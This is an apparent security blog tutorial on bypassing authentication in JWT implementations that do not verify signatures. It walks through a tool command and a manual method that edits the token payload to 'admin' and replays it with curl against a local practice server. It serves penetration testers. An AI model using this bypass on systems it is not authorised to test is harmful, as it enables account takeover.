Exploiting unverified JWT signatures
Tags: jwt, ethicalhacking, redteam, cybersecurity
Published: 2022-01-19 19:47:27

## Why?

Bypassing authentication is a major win as an attacker.

## When?

Test for this exploit against all JWT implementations. It's so fast to do.

## How?

Use the tool I've written, [jwt_attack](https://github.com/fx2301/jwt_attack). Alternatively, make a whitespace modification to the header or payload, and use the unmodified signature. If the modified JWT is accepted then that means you can craft any payload you want.

### Safe practice

The [jwt_attack repo](https://github.com/fx2301/jwt_attack) comes with a [vulnerable server](https://github.com/fx2301/jwt_attack/blob/master/vulnerable.py) that you can attack.

### Using `jwt_attack`

We pass the entire curl statement along with our desired JWT payload:
```bash
python3 jwt_attack.py --target-payload '{"username":"admin"}' \
  curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
```

We get back a token for our desired JWT payload as well as the curl statement to use:
```
Testing for identical results...
Attempting attack: signature not verified ... SUCCESS
Attempting attack: none algorithm allowed ... FAILURE

Successful JWT:
{
  "token": "eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU",
  "header": {
    "alg": "HS256",
    "random": 0.9838718504712899
  },
  "payload": {
    "username": "admin"
  },
  "signature": "8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU"
}

Successful curl command:
curl http://localhost:5000/signature_not_verified -H 'Authorization: eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
```

### By hand

First let's decode the payload:
```bash
echo 'eyJ1c2VybmFtZSI6ICJndWVzdCJ9' | base64 -d              
{"username": "guest"} 
```

Now we add some whitespace:
```bash
echo '{"username": "guest" }' | base64 
eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo=
```

Note that we have to be careful here because JWTs use a [URL-safe variation of base64 encoding](https://en.wikipedia.org/wiki/Base64#The_URL_applications). In this case it means simply dropping the padding.

We put our token back together and retest our curl statement:
```bash
curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
```

We see the same response as we do with the unmodified token. So now we know we can make changes to our payload!
```html
<p>Not quite. Your username needs to be admin.</p> 
```

```bash
echo '{"username": "admin"}' | base64   
eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg==
```

Once against we reassemble our JWT and issue our new curl statement:
```bash
curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
```

We're in!
```html
<p>Success! Your username is admin.</p>
```

<small>Art licensed under Creative Commons by <a href="https://pixabay.com/users/openclipart-vectors-30363/">OpenClipart-Vectors</a></small>